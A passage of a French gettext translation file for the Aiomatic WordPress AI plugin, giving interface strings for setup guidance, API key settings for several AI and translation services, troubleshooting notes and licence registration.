check" msgstr "" "Pour commencer à utiliser le plugin, cliquez sur l'onglet \"Activation du " "plugin\" ci-dessus et enregistrez votre code d'achat Envato. Cela vous " "permettra de bénéficier de toutes les fonctionnalités de ce plugin. Pour " "savoir comment trouver votre code d'achat pour le plugin, consultez la page " "suivante" #: res/aiomatic-main.php:1517 msgid "this video" msgstr "cette vidéo" #: res/aiomatic-main.php:1519 msgid "Afterwards, you need to add your" msgstr "Ensuite, vous devez ajouter votre" #: res/aiomatic-main.php:1519 msgid "API key or" msgstr "Clé API ou" #: res/aiomatic-main.php:1519 msgid "" "API key into the plugin's settings (depending which service you choose). You " "can do this by going to the 'API keys' tab from above. In this tab you will " "find also some additional API keys to add, like" msgstr "" "Dans les paramètres du plugin (en fonction du service choisi). Vous pouvez " "le faire en accédant à l'onglet \"API keys\" (clés d'API) ci-dessus. Dans " "cet onglet, vous trouverez également des clés d'API supplémentaires à " "ajouter, comme" #: res/aiomatic-main.php:1519 msgid "to create images using Stable Difussion" msgstr "pour créer des images en utilisant la Difussion Stable" #: res/aiomatic-main.php:1519 msgid "used for the plugin's Embeddings functionality" msgstr "utilisé pour la fonctionnalité Embeddings du plugin" #: res/aiomatic-main.php:1521 msgid "" "Now you are ready to get started seeing the plugin in action! You can hover " "your mouse over the Aiomatic menu in your WordPress dashboard. From there, " "you can choose to generate a single AI post or to create bulk automatic AI-" "created posts, complete with rich HTML content and royalty-free or AI-" "generated images. You can also edit existing or newly published posts, using " "an AI content editor. If you are an advanced user or you want to learn how " "to squize more out of the plugin and AI in general, check the Embeddings and " "Model Training features of the plugin. Finally, stop over to see the usage " "charts of the plugin and set limits for its API usage (if you feel that this " "is needed)." msgstr "" "Vous êtes maintenant prêt à voir le plugin en action ! Vous pouvez passer " "votre souris sur le menu Aiomatic dans votre tableau de bord WordPress. À " "partir de là, vous pouvez choisir de générer un seul article IA ou de créer " "un grand nombre d'articles IA automatiques, avec un contenu HTML riche et " "des images libres de droits ou générées par l'IA. Vous pouvez également " "modifier des articles existants ou nouvellement publiés à l'aide d'un " "éditeur de contenu IA. Si vous êtes un utilisateur avancé ou si vous " "souhaitez apprendre comment tirer le meilleur parti du plugin et de l'IA en " "général, consultez les fonctionnalités Embeddings et Model Training du " "plugin. Enfin, vous pouvez consulter les graphiques d'utilisation du plugin " "et définir des limites pour l'utilisation de son API (si vous le jugez " "nécessaire)." #: res/aiomatic-main.php:1523 msgid "" "You can also add a fully customizable chatbot to your site to engage with " "visitors and provide them with the information they need in real-time." msgstr "" "Vous pouvez également ajouter un chatbot entièrement personnalisable à votre " "site pour dialoguer avec les visiteurs et leur fournir les informations dont " "ils ont besoin en temps réel." #: res/aiomatic-main.php:1524 msgid "What is Aiomatic?" msgstr "Qu'est-ce qu'Aiomatic ?" #: res/aiomatic-main.php:1525 msgid "" "Aiomatic is a comprehensive WordPress plugin that leverages the capabilities " "of artificial intelligence to create content, chatbots, images, audio, and " "more. This all-in-one AI suite includes features such as Custom ChatGPT, " "Content Creator, Automatic Content Generator, AI Assistant, AI Forms, Image " "Creator, Audio Converter, SEO enhancer, AI Training, Embeddings, and more, " "all powered by GPT-3, GPT-3.5 and GPT-4." msgstr "" "Aiomatic est un plugin WordPress complet qui exploite les capacités de " "l'intelligence artificielle pour créer du contenu, des chatbots, des images, " "de l'audio, et plus encore. Cette suite IA tout-en-un comprend des " "fonctionnalités telles que Custom ChatGPT, Content Creator, Automatic " "Content Generator, AI Assistant, AI Forms, Image Creator, Audio Converter, " "SEO enhancer, AI Training, Embeddings, et plus encore, toutes alimentées par " "GPT-3, GPT-3.5 et GPT-4." #: res/aiomatic-main.php:1527 msgid "Understanding How It Functions" msgstr "Comprendre son fonctionnement" #: res/aiomatic-main.php:1528 msgid "" "The Aiomatic plugin operates in conjunction with the OpenAI API or with " "AiomaticAPI (whichever you choose to use). To utilize it, you must first " "create an account on OpenAI and paste your API key in the plugin's settings " "('API Keys' tab from the top). OpenAI offers a $5 credit for new users. If " "you see a message stating, \"You exceeded your current quota, please check " "your plan and billing details\" it means you've depleted your OpenAI quota " "and need to buy more credit from OpenAI." msgstr "" "Le plugin Aiomatic fonctionne en conjonction avec l'API OpenAI ou avec " "AiomaticAPI (selon ce que vous choisissez d'utiliser). Pour l'utiliser, vous " "devez d'abord créer un compte sur OpenAI et coller votre clé API dans les " "paramètres du plugin (onglet \"Clés API\" en haut). OpenAI offre un crédit " "de 5 $ pour les nouveaux utilisateurs. Si vous voyez un message indiquant " "\"Vous avez dépassé votre quota actuel, veuillez vérifier votre plan et les " "détails de facturation\", cela signifie que vous avez épuisé votre quota " "OpenAI et que vous devez acheter plus de crédit auprès d'OpenAI." #: res/aiomatic-main.php:1530 msgid "" "Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing " "Aiomatic grants you access to the plugin's advanced features, but it doesn't " "cover any API credit. You'll need to buy credit from OpenAI or a " "subscription from AiomaticAPI separately." msgstr "" "L'acquisition du plugin Aiomatic n'inclut aucun crédit OpenAI. L'achat " "d'Aiomatic vous donne accès aux fonctionnalités avancées du plugin, mais ne " "couvre aucun crédit API. Vous devrez acheter séparément du crédit OpenAI ou " "un abonnement à AiomaticAPI." #: res/aiomatic-main.php:1532 msgid "" "If you notice any slowdown or failure in content generation, it could be due " "to issues with the OpenAI API services. Please wait until their services are " "back to normal before attempting again." msgstr "" "Si vous remarquez un ralentissement ou un échec dans la génération de " "contenu, cela peut être dû à des problèmes avec les services de l'API " "OpenAI. Veuillez attendre que ces services reviennent à la normale avant " "d'essayer à nouveau." #: res/aiomatic-main.php:1534 msgid "Setting Up Your API Key" msgstr "Configuration de votre clé API" #: res/aiomatic-main.php:1535 msgid "Visit" msgstr "Visiter" #: res/aiomatic-main.php:1535 msgid "or" msgstr "ou" #: res/aiomatic-main.php:1535 msgid "and create your API key." msgstr "et créez votre clé API." #: res/aiomatic-main.php:1537 msgid "Navigate to the 'API Keys' tab on the top of this admin page." msgstr "" "Accédez à l'onglet \"Clés API\" en haut de cette page d'administration." #: res/aiomatic-main.php:1539 msgid "" "Input your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' " "settings field and hit the Save button." msgstr "" "Saisissez votre clé API dans le champ \"OpenAI / AiomaticAPI API Keys (One " "Per Line)\" et cliquez sur le bouton \"Sauve\"." #: res/aiomatic-main.php:1541 msgid "You're all set!" msgstr "Vous voilà prêt !" #: res/aiomatic-main.php:1544 msgid "" "How to use different features of the plugin? Like AI chatbot, AI content " "creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many " "more?" msgstr "" "Comment utiliser les différentes fonctionnalités du plugin ? Comme le " "chatbot d'IA, le créateur de contenu d'IA, l'éditeur de contenu d'IA, " "l'entraînement de modèle d'IA, les Embeddings, les formulaires d'IA et bien " "d'autres choses encore ?" #: res/aiomatic-main.php:1545 msgid "" "Depending for which feature are you looking for, be sure to navigate to the " "respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab " "for each of the features available in the plugin. There you will find also a " "tutorial video, with detailed description of the feature you are setting up." msgstr "" "En fonction de la fonctionnalité que vous recherchez, assurez vous de " "naviguer dans le menu respectif du plugin Aiomatic, où vous trouverez un " "onglet \"Tutoriel\" pour chacune des fonctionnalités disponibles dans le " "plugin. Vous y trouverez également un tutoriel vidéo, avec une description " "détaillée de la fonctionnalité que vous êtes en train de configurer." #: res/aiomatic-main.php:1547 msgid "Using the AI Assistant" msgstr "Assistant IA" #: res/aiomatic-main.php:1548 msgid "" "The AI Assistant is a feature that allows you to add a button to the " "WordPress editor to assist in content creation. You can add your own menus " "with your own prompts. The AI Assistant is compatible with both Gutenberg " "and Classic Editor. Navigate to your Gutenberg or Classic Editor and look " "for the Aiomatic plugin's logo in the toolbar. Click on the logo and select " "the menu you want to use. Click the prompt you want to use. Please note that " "you need to use the \"Convert to Block\" feature in the Gutenberg Editor to " "use the AI Assistant." msgstr "" "L'assistant AI est une fonctionnalité qui vous permet d'ajouter un bouton à " "l'éditeur WordPress pour vous aider dans la création de contenu. Vous pouvez " "ajouter vos propres menus avec vos propres Prompts. L'assistant AI est " "compatible à la fois avec Gutenberg et l'éditeur classique. Naviguez vers " "votre éditeur Gutenberg ou Classic Editor et recherchez le logo du plugin " "Aiomatic dans la barre d'outils. Cliquez sur le logo et sélectionnez le menu " "que vous souhaitez utiliser. Cliquez sur le Prompt que vous souhaitez " "utiliser. Veuillez noter que vous devez utiliser la fonction \"Convertir en " "bloc\" dans l'éditeur Gutenberg pour utiliser l'assistant AI." #: res/aiomatic-main.php:1550 msgid "Some Important Notes:" msgstr "Quelques remarques importantes :" #: res/aiomatic-main.php:1552 msgid "" "Note 1: Don't forget to secure your API key from OpenAI (don't share it with " "anyone)." msgstr "" "Note 1 : N'oubliez pas de sécuriser votre clé API d'OpenAI (ne la partagez " "avec personne)." #: res/aiomatic-main.php:1554 msgid "Note 2: If you're using Cloudflare, please read below." msgstr "Note 2 : Si vous utilisez Cloudflare, veuillez lire ce qui suit." #: res/aiomatic-main.php:1556 msgid "" "Note 3: If you're using the WP Rocket caching plugin, please deactivate and " "reactivate your caching plugin." msgstr "" "Note 3 : Si vous utilisez le plugin de mise en cache WP Rocket, veuillez " "désactiver et réactiver votre plugin de mise en cache." #: res/aiomatic-main.php:1558 msgid "" "Note 4: If your server has a timeout limit (max_execution_time server " "settings limited), you may not be able to generate longer content. Please " "request your hosting provider to extend the server timeout limit to at least " "10-15 minutes to generate longer content." msgstr "" "Note 4 : Si votre serveur a une limite de temps (max_execution_time server " "settings limited), il se peut que vous ne puissiez pas générer un contenu " "plus long. Veuillez demander à votre hébergeur d'étendre la limite de temps " "d'exécution du serveur à au moins 10-15 minutes afin de pouvoir générer des " "contenus plus longs." #: res/aiomatic-main.php:1560 msgid "" "Note 5: If you're using iThemes security, please ensure to allow PHP calls " "from the plugin folder, otherwise, some features of the plugin might not " "work." msgstr "" "Note 5 : Si vous utilisez iThemes security, assurez-vous d'autoriser les " "appels PHP depuis le dossier du plugin, sinon certaines fonctionnalités du " "plugin pourraient ne pas fonctionner." #: res/aiomatic-main.php:1562 msgid "Using CloudFlare for this website?" msgstr "Utiliser CloudFlare pour ce site web ?" #: res/aiomatic-main.php:1563 msgid "" "If you encounter slowdowns or a even a full halt in your content creation " "workflow, the problem could potentially come from Cloudflare." msgstr "" "Si vous rencontrez des ralentissements ou même un arrêt complet de votre " "flux de travail de création de contenu, le problème pourrait provenir de " "Cloudflare." #: res/aiomatic-main.php:1564 msgid "" "To better understand how this might be happening, it is helpful to first " "understand how the content generation part of the plugin functions. In most " "cases, when you request the plugin to create a post with a AI generated " "title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API " "request to generate the title, 5 different API requests for the headings, 3 " "API requests for the intro, outro and Q&A sections. So, for a single post, " "there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request " "takes 20 seconds to receive a response, this means that generating this post " "could take up to 180 seconds in total." msgstr "" "Pour mieux comprendre comment cela peut se produire, il est utile de " "comprendre d'abord comment la partie de génération de contenu du plugin " "fonctionne. Dans la plupart des cas, lorsque vous demandez au plugin de " "créer un article avec un titre généré par l'IA, 5 titres, une intro + " "extrait de l'article et une section Q&R (questions et réponses), le plugin " "envoie une requête API pour générer le titre, 5 requêtes API différentes " "pour les titres, 3 requêtes API pour les sections intro, extrait de " "l'article et Q&R (questions et réponses). Ainsi, pour un seul article, il " "peut y avoir 9 appels d'API ou plus à OpenAI/AiomaticAPI. Si chaque demande " "prend 20 secondes pour recevoir une réponse, cela signifie que la génération " "de cet article peut prendre jusqu'à 180 secondes au total." #: res/aiomatic-main.php:1565 msgid "" "Unfortunately, the default connection timeout for Cloudflare is set at 100 " "seconds. This implies that if you're utilizing Cloudflare's default plan and " "fail to receive all responses from OpenAI within the 100-second window, " "Cloudflare will reach its timeout limit, resulting in it fully stopping " "content creation. However, CloudFlare Enterprise users have the option to " "extend this timeout limit to 6000 seconds either through the Cloudflare API " "or by reaching out to customer service. Note that only CloudFlare's " "Enterprise plan will allow this settings change." msgstr "" "Malheureusement, le délai de connexion par défaut de Cloudflare est fixé à " "100 secondes. Cela signifie que si vous utilisez le plan par défaut de " "Cloudflare et que vous ne recevez pas toutes les réponses d'OpenAI dans la " "fenêtre de 100 secondes, Cloudflare atteindra sa limite de temps, ce qui " "entraînera l'arrêt complet de la création de contenu. Toutefois, les " "utilisateurs de CloudFlare Enterprise ont la possibilité d'étendre ce délai " "à 6 000 secondes, soit par l'intermédiaire de l'API de Cloudflare, soit en " "contactant le service clientèle. Notez que seul le plan Entreprise de " "CloudFlare permet de modifier ces paramètres." #: res/aiomatic-main.php:1567 msgid "" "If you're a Cloudflare user and you are facing slowdowns in your content " "creation workflow, one potential remedy could be to extend the connection " "timeout on Cloudflare (if this is possible in your case). Another approach " "could be to deactivate CloudFlare while you are using the Aiomatic plugin on " "your site for long content creation (which uses multiple API requests)." msgstr "" "Si vous êtes un utilisateur de Cloudflare et que vous êtes confronté à des " "ralentissements dans votre flux de travail de création de contenu, une " "solution potentielle pourrait être de prolonger le délai de connexion sur " "Cloudflare (si cela est possible dans votre cas). Une autre approche " "pourrait consister à désactiver CloudFlare lorsque vous utilisez le plugin " "Aiomatic sur votre site pour la création de contenu de longue durée (qui " "utilise plusieurs requêtes API)." #: res/aiomatic-main.php:1568 msgid "Using a LiteSpeed Web Server for this website?" msgstr "Utiliser un serveur web LiteSpeed pour ce site web ?" #: res/aiomatic-main.php:1569 msgid "" "If you are using a LiteSpeed web server, you might need to configure it to " "allow longer execution times of Aiomatic." msgstr "" "Si vous utilisez un serveur web LiteSpeed, vous devrez peut-être le " "configurer pour permettre des temps d'exécution plus longs d'Aiomatic." #: res/aiomatic-main.php:1569 msgid "Check this link for details" msgstr "Consultez ce lien pour plus de détails" #: res/aiomatic-main.php:1570 msgid "Need help?" msgstr "Besoin d’aide ?" #: res/aiomatic-main.php:1571 msgid "If you need help getting started with Aiomatic, be sure to check out" msgstr "" "Si vous avez besoin d'aide pour démarrer avec Aiomatic, n'hésitez pas à " "consulter la page" #: res/aiomatic-main.php:1571 msgid "" "for tutorial videos and other helpful resources. Here you can always find " "what was the newest update for it and how it got improved. I am constantly " "adding new updates to the plugin to help you get the most out of it, so be " "sure to subscribe and stay up to date with the latest version of the plugin." msgstr "" "pour obtenir des vidéos tutorielles et d'autres ressources utiles. Ici, vous " "pouvez toujours trouver la dernière mise à jour du plugin et comment il a " "été amélioré. Je suis constamment en train d'ajouter de nouvelles mises à " "jour au plugin pour vous aider à en tirer le meilleur parti, alors assurez " "vous de vous abonner et de rester au courant de la dernière version du " "plugin." #: res/aiomatic-main.php:1573 msgid "If your issue is more technical, create a ticket and ask for support on" msgstr "" "Si votre problème est plus technique, créez un ticket et demandez de l'aide " "sur" #: res/aiomatic-main.php:1573 msgid "Aiomatic's Support Page" msgstr "Page d'assistance d'Aiomatic" #: res/aiomatic-main.php:1574 msgid "For more information about the plugin, please visit" msgstr "" "Pour plus d'informations sur le plugin, veuillez consulter le site suivant %s" #: res/aiomatic-main.php:1574 msgid "playlists on YouTube." msgstr "playlists sur YouTube." #: res/aiomatic-main.php:1576 msgid "Feel free to join our Discord community" msgstr "N'hésitez pas à rejoindre notre communauté Discord" #: res/aiomatic-main.php:1579 msgid "Now go have some fun using the plugin!" msgstr "Maintenant, amusez-vous à utiliser le plugin !" #: res/aiomatic-main.php:1580 msgid "" "Thank you for choosing Aiomatic, and I look forward to the plugin helping " "you create amazing content and features for your WordPress site!" msgstr "" "Merci d'avoir choisi Aiomatic, et j'ai hâte que le plugin vous aide à créer " "un contenu et des fonctionnalités extraordinaires pour votre site WordPress !" #: res/aiomatic-main.php:1592 msgid "Main Switch:" msgstr "Interrupteur principal :" #: res/aiomatic-main.php:1597 msgid "Enable or disable this plugin. This acts like a main switch." msgstr "" "Activer ou désactiver ce plugin. Il agit comme un interrupteur principal." #: res/aiomatic-main.php:1615 msgid "" "This feature of the plugin is disabled! Please enable it from the above " "switch." msgstr "" "Cette fonctionnalité du plugin est désactivée ! Veuillez l'activer à partir " "de l'interrupteur ci-dessus." #: res/aiomatic-main.php:1627 msgid "Plugin Registration Info - Automatic Updates Enabled:" msgstr "" "Informations sur l'enregistrement du plugin - Mises à jour automatiques " "activées :" #: res/aiomatic-main.php:1629 msgid "Item Name:" msgstr "Nom de l'article :" #: res/aiomatic-main.php:1631 msgid "Item ID:" msgstr "ID de l’article :" #: res/aiomatic-main.php:1634 msgid "Created At:" msgstr "Créé le :" #: res/aiomatic-main.php:1637 msgid "Buyer Name:" msgstr "Nom du client :" #: res/aiomatic-main.php:1640 msgid "License Type:" msgstr "Type de licence :" #: res/aiomatic-main.php:1643 msgid "Supported Until:" msgstr "Maintenu Jusqu’au :" #: res/aiomatic-main.php:1646 msgid "Revoke License" msgstr "Annuler la licence" #: res/aiomatic-main.php:1654 msgid "" "This is a trial version of the plugin. Automatic updates for this plugin are " "disabled. Please activate the plugin from below, so you can benefit of " "automatic updates for it!" msgstr "" "Il s'agit d'une version d'essai du plugin. Les mises à jour automatiques " "pour ce plugin sont désactivées. Veuillez activer le plugin à partir de la " "liste ci-dessous, afin de bénéficier des mises à jour automatiques !" #: res/aiomatic-main.php:1662 #, php-format msgid "" "Please input your Envato purchase code, to enable automatic updates in the " "plugin. To get your purchase code, please follow this tutorial. Info submitted to the registration " "server consists of: purchase code, site URL, site name, admin email. All " "these data will be used strictly for registration purposes." msgstr "" "Veuillez saisir votre code d'achat Envato, pour activer les mises à jour " "automatiques dans le plugin. Pour obtenir votre code d'achat, veuillez " "suivre ce tutoriel. Les informations " "soumises au serveur d'enregistrement sont : le code d'achat, l'URL du site, " "le nom du site, l'email de l'administrateur. Toutes ces données seront " "utilisées strictement à des fins d'enregistrement." #: res/aiomatic-main.php:1666 msgid "Register Envato Purchase Code To Enable Automatic Updates:" msgstr "" "Enregistrer le code d'achat Envato pour activer les mises à jour " "automatiques :" #: res/aiomatic-main.php:1668 msgid "Envato Purchase Code" msgstr "Envato code d'achat" #: res/aiomatic-main.php:1672 msgid "Register Purchase Code" msgstr "Enregistrer le code d'achat" #: res/aiomatic-main.php:1687 msgid "Tips and tricks:" msgstr "Trucs et astuces :" #: res/aiomatic-main.php:1689 #, php-format msgid "" "Need help configuring this plugin? Please check out it's video tutorial." msgstr "" "Besoin d'aide pour configurer ce plugin ? Consultez son tutoriel vidéo." #: res/aiomatic-main.php:1691 #, php-format msgid "" "Having issues with the plugin? Please be sure to check out our knowledge-base before you contact our support!" msgstr "" "Vous avez des problèmes avec le plugin ? N'hésitez pas à consulter notre base de connaissances avant de contacter " "notre support!" #: res/aiomatic-main.php:1692 #, php-format msgid "" "Do you enjoy our plugin? Please give it a rating on CodeCanyon, or check our website for other cool plugins." msgstr "" "Vous appréciez notre plugin ? Donnez-lui une note sur CodeCanyon, ou consultez notre site web pour d'autres plugins intéressants." #: res/aiomatic-main.php:1700 msgid "AI API Settings:" msgstr "Paramètres de l'IA :" #: res/aiomatic-main.php:1707 msgid "Select the AI API service to use to generate content in the plugin." msgstr "" "Sélectionnez le service AI API à utiliser pour générer du contenu dans le " "plugin." #: res/aiomatic-main.php:1711 msgid "AI API Service Provider Selector:" msgstr "Sélecteur de fournisseurs de services d'API d'IA :" #: res/aiomatic-main.php:1721 msgid "OpenAI / AiomaticAPI" msgstr "OpenAI / AiomaticAPI" #: res/aiomatic-main.php:1726 msgid "Microsoft Azure" msgstr "Microsoft Azure" #: res/aiomatic-main.php:1734 #, php-format msgid "" "Check this detailed step-by-step tutorial " "and also this tutorial video for info on " "setup and usage of Microsoft Azure OpenAI API in Aiomatic." msgstr "" "Consultez ce tutoriel détaillé étape par étape et également ce tutoriel vidéo pour " "obtenir des informations sur la configuration et l'utilisation de Microsoft " "Azure OpenAI API dans Aiomatic." #: res/aiomatic-main.php:1743 #, php-format msgid "" "Insert your API Keys (one per line). For OpenAI API, get your API key here. For AiomaticAPI, get your API key here. For Azure, get your API key here." msgstr "" "Insérez vos clés API (une par ligne). Pour OpenAI API, obtenez votre clé API " "ici. Pour AiomaticAPI, obtenez votre clé " "API ici. Pour Azure, obtenez votre clé API " "ici." #: res/aiomatic-main.php:1747 res/aiomatic-main.php:1809 msgid "API Keys (One Per Line):" msgstr "Clés API (une par ligne) :" #: res/aiomatic-main.php:1760 msgid "Remaining API Tokens: " msgstr "Jetons / Tokens API restants : " #: res/aiomatic-main.php:1770 msgid "Please insert your OpenAI/AiomaticAPI API Key" msgstr "Veuillez insérer votre clé API OpenAI/AiomaticAPI" #: res/aiomatic-main.php:1782 #, php-format msgid "" "Insert your Azure OpenAI API endpoint. Get one in the Microsoft Azure Services panel." msgstr "" "Insérez votre point de terminaison Azure OpenAI API. Obtenez-en un dans le " "panneau Microsoft Azure Services." #: res/aiomatic-main.php:1786 msgid "Azure OpenAI Endpoint:" msgstr "Point de terminaison (Endpoint) Azure OpenAI :" #: res/aiomatic-main.php:1791 msgid "Azure Endpoint" msgstr "Point de terminaison Azure (Endpoint)" #: res/aiomatic-main.php:1795 msgid "" "Note: Adding the Azure OpenAI Deployments you created is no longer needed, " "as the plugin now is able to automatically detect deployments from your " "Azure account." msgstr "" "Note : L'ajout des Azure OpenAI Deployments que vous avez créés n'est plus " "nécessaire, car le plugin est maintenant capable de détecter automatiquement " "les déploiements à partir de votre compte Azure." #: res/aiomatic-main.php:1798 res/aiomatic-main.php:2080 msgid "Stability.AI API Settings:" msgstr "Paramètres de l'API Stability.IA :" #: res/aiomatic-main.php:1805 #, php-format msgid "" "Insert your Stability.AI API Keys (one per line). For Stability.AI API, get " "your Stability.AI key here." msgstr "" "Insérez vos clés API Stability.IA (une par ligne). Pour l'API Stability.IA, " "obtenez votre clé Stability.IA ici." #: res/aiomatic-main.php:1814 msgid "Please insert your Stability.AI API Key" msgstr "Veuillez insérer votre clé API Stability.IA" #: res/aiomatic-main.php:1820 msgid "Pinecone API Settings:" msgstr "Paramètres de l'API Pinecone :" #: res/aiomatic-main.php:1827 #, php-format msgid "" "Insert your Pinecone API Key. For Pinecone API, get your API key here." msgstr "" "Insérez votre clé API Pinecone. Pour l'API Pinecone, obtenez votre clé API " "ici." #: res/aiomatic-main.php:1831 msgid "Pinecone.io" msgstr "Pinecone.io" #: res/aiomatic-main.php:1831 res/aiomatic-main.php:1854 #: res/aiomatic-main.php:1875 res/aiomatic-main.php:1898 msgid "API Key:" msgstr "Clé API  :" #: res/aiomatic-main.php:1836 msgid "Please insert your Pinecone.io API Key" msgstr "Veuillez insérer votre clé API Pinecone.io" #: res/aiomatic-main.php:1843 msgid "Text-to-Speech API Settings:" msgstr "Paramètres de l'API de la synthèse vocale :" #: res/aiomatic-main.php:1850 #, php-format msgid "" "Insert your ElevenLabs API Key. For ElevenLabs API, get your API key here. This is used for the Chatbot text to " "speech feature." msgstr "" "Insérez votre clé API ElevenLabs. Pour l'API ElevenLabs, obtenez votre clé " "API ici. Cette clé est utilisée pour la " "fonction text to speech (synthèse vocale) du Chatbot." #: res/aiomatic-main.php:1854 msgid "ElevenLabs.io" msgstr "ElevenLabs.io" #: res/aiomatic-main.php:1859 msgid "Please insert your ElevenLabs.io API Key" msgstr "Veuillez insérer votre clé API ElevenLabs.io" #: res/aiomatic-main.php:1871 #, php-format msgid "" "Insert your Google Text-to-Speech API Key. For Google API, get your API key " "here. This is used for the Chatbot text to " "speech feature." msgstr "" "Insérez votre clé API Google Text-to-Speech. Pour l'API de Google, obtenez " "votre clé API ici. Cette clé est utilisée " "pour la fonction text to speech (synthèse vocale) du Chatbot." #: res/aiomatic-main.php:1875 msgid "Google Text-to-Speech" msgstr "Google Text-to-Speech" #: res/aiomatic-main.php:1880 msgid "Please insert your Google Text-to-Speech API Key" msgstr "Veuillez insérer votre clé API Google Text-to-Speech" #: res/aiomatic-main.php:1887 msgid "Text-to-Video API Settings:" msgstr "Paramètres de l'API Texte-vidéo :" #: res/aiomatic-main.php:1894 #, php-format msgid "" "Insert your D-ID API Key. For D-ID API, get your API key here. This is used for the Chatbot text to video feature." msgstr "" "Insérez votre clé API D-ID. Pour l'API D-ID, obtenez votre clé API ici. Cette clé est utilisée pour la fonction " "de conversion de texte en vidéo du Chatbot." #: res/aiomatic-main.php:1898 msgid "D-ID" msgstr "D-ID" #: res/aiomatic-main.php:1903 msgid "Please insert your D-ID API Key" msgstr "Veuillez insérer votre clé D-ID API" #: res/aiomatic-main.php:1909 msgid "Other API Keys:" msgstr "Autres clés API :" #: res/aiomatic-main.php:1916 #, php-format msgid "" "If you want to use SerpAPI to get the related headings for the created " "posts, you must add your API key here. By default, the plugin scrapes Bing " "Search for related queries. Get your API key here." msgstr "" "Si vous souhaitez utiliser SerpAPI pour obtenir les rubriques connexes des " "articles créés, vous devez ajouter votre clé API ici. Par défaut, le plugin " "scrape Bing Search pour les requêtes connexes. Obtenez votre clé API ici." #: res/aiomatic-main.php:1920 msgid "" "SerpAPI API Key (Optional) (Used for Related Headings & AI Internet Access)" msgstr "" "Clé API SerpAPI (facultative) (utilisée pour les rubriques connexes et " "l'accès à l'Internet IA)" #: res/aiomatic-main.php:1925 msgid "SerpAPI Key (optional)" msgstr "Clé SerpAPI (facultatif)" #: res/aiomatic-main.php:1937 #, php-format msgid "" "If you want to use ValueSERP to get the related headings for the created " "posts, you must add your API key here. By default, the plugin scrapes Bing " "Search for related queries. Get your API key here." msgstr "" "Si vous souhaitez utiliser ValueSERP pour obtenir les titres connexes des " "articles créés, vous devez ajouter votre clé API ici. Par défaut, le plugin " "scrape Bing Search pour les requêtes connexes. Obtenez votre clé API ici." #: res/aiomatic-main.php:1941 msgid "" "ValueSERP API Key (Optional) (Used for Related Headings & AI Internet Access)" msgstr "" "Clé API ValueSERP (facultative) (utilisée pour les rubriques connexes et " "l'accès à l'internet IA)" #: res/aiomatic-main.php:1946 msgid "ValueSERP Key (optional)" msgstr "Clé ValueSERP (facultatif)" #: res/aiomatic-main.php:1958 #, php-format msgid "" "Insert your YouTube API Key. Learn how to get one here. This is used when adding YouTube videos to your " "post content. You can also enter a comma separated list of multiple API " "keys. This is optional, the Related Videos feature will work also without an " "API key entered." msgstr "" "Insérez votre clé API YouTube. Pour savoir comment l'obtenir, cliquez ici. Cette clé est utilisée lors de l'ajout de " "vidéos YouTube au contenu de votre message. Vous pouvez également saisir une " "liste de plusieurs clés API séparées par des virgules. Cette option est " "facultative. La fonction Vidéos associées fonctionnera également sans clé " "API." #: res/aiomatic-main.php:1962 msgid "YouTube API Key List (Optional) (Used for Related Videos):" msgstr "" "Liste des clés API YouTube (facultatif) (utilisée pour les vidéos connexes) :" #: res/aiomatic-main.php:1969 msgid "" "Please insert your YouTube API Key. You can also insert a list of comma " "separated API keys. The plugin will select one to user, each time when it " "runs, at random." msgstr "" "Veuillez insérer votre clé API YouTube. Vous pouvez également insérer une " "liste de clés API séparées par des virgules. Le plugin en sélectionnera une " "au hasard à chaque fois qu'il s'exécutera." #: res/aiomatic-main.php:1979 #, php-format msgid "" "If you wish to use the official version of the Google Translator API for " "translation, you must enter first a Google API Key. Get one here. Please enable the 'Cloud Translation API' in Google Cloud Console. Translation will work " "even without even without entering an API key here, but in this case, an " "unofficial Google Translate API will be used." msgstr "" "Si vous souhaitez utiliser la version officielle de l'API Google Translator " "pour la traduction, vous devez d'abord saisir une clé API Google. Obtenez-en " "une ici. Activez l'API \"Cloud " "Translation\" dans la Google Cloud Console. " "La traduction fonctionnera même sans saisir de clé API ici, mais dans ce " "cas, une API Google Translate non officielle sera utilisée." #: res/aiomatic-main.php:1983 msgid "Google Translator API Key (Optional)" msgstr "Clé API Google Translator (facultatif)" #: res/aiomatic-main.php:1988 msgid "API Key (optional)" msgstr "Clé API (facultatif)" #: res/aiomatic-main.php:2000 #, php-format msgid "" "If you wish to use DeepL for translation, you must enter first a DeepL " "'Authentication Key'. Get one here. If you " "enter a value here, new options will become available in the 'Automatically " "Translate Content To' and 'Source Language' fields." msgstr "" "Si vous souhaitez utiliser DeepL pour la traduction, vous devez d'abord " "entrer une \"clé d'authentification\" DeepL. Vous pouvez en obtenir une ici. Si vous saisissez une valeur ici, de " "nouvelles options seront disponibles dans les champs \"Traduire " "automatiquement le contenu vers\" et \"Langue source\"." #: res/aiomatic-main.php:2004 msgid "DeepL Translator Authentication Key (Optional)" msgstr "Clé d’authentification DeepL Translator (facultatif)" #: res/aiomatic-main.php:2009 msgid "Auth key (optional)" msgstr "Clé d'authentification (facultatif)" #: res/aiomatic-main.php:2021 msgid "" "Check this checkbox if the above API key is a DeepL free plan key. If it is " "a PRO key, please uncheck this checkbox." msgstr "" "Cochez cette case si la clé API ci-dessus est une clé de plan gratuit DeepL. " "S'il s'agit d'une clé PRO, décochez cette case." #: res/aiomatic-main.php:2025 msgid "The Above Is A DeepL Free API Key:" msgstr "Ce qui précède est une clé API gratuite DeepL :" #: res/aiomatic-main.php:2040 #, php-format msgid "" "If you wish to use Microsoft for translation, you must enter first a " "Microsoft 'Access Key'. Learn how to get one here. If you enter a value here, new options will become " "available in the 'Automatically Translate Content To' and 'Source Language' " "fields." msgstr "" "Si vous souhaitez utiliser Microsoft pour la traduction, vous devez d'abord " "entrer une \"clé d'accès\" Microsoft. Pour savoir comment l'obtenir, cliquez ici. Si vous saisissez une valeur ici, " "de nouvelles options seront disponibles dans les champs \"Traduire " "automatiquement le contenu vers\" et \"Langue source\"." #: res/aiomatic-main.php:2044 msgid "Microsoft Translator Access Key (Optional)" msgstr "Clé d'accès à Microsoft Translator (optionnel)" #: res/aiomatic-main.php:2049 msgid "Access key (optional)" msgstr "Clé d'accès (en option)" #: res/aiomatic-main.php:2061 #, php-format msgid "" "If you selected a specific region in your Azure Microsoft account, you must " "enter it here. Learn more here. The default " "is global." 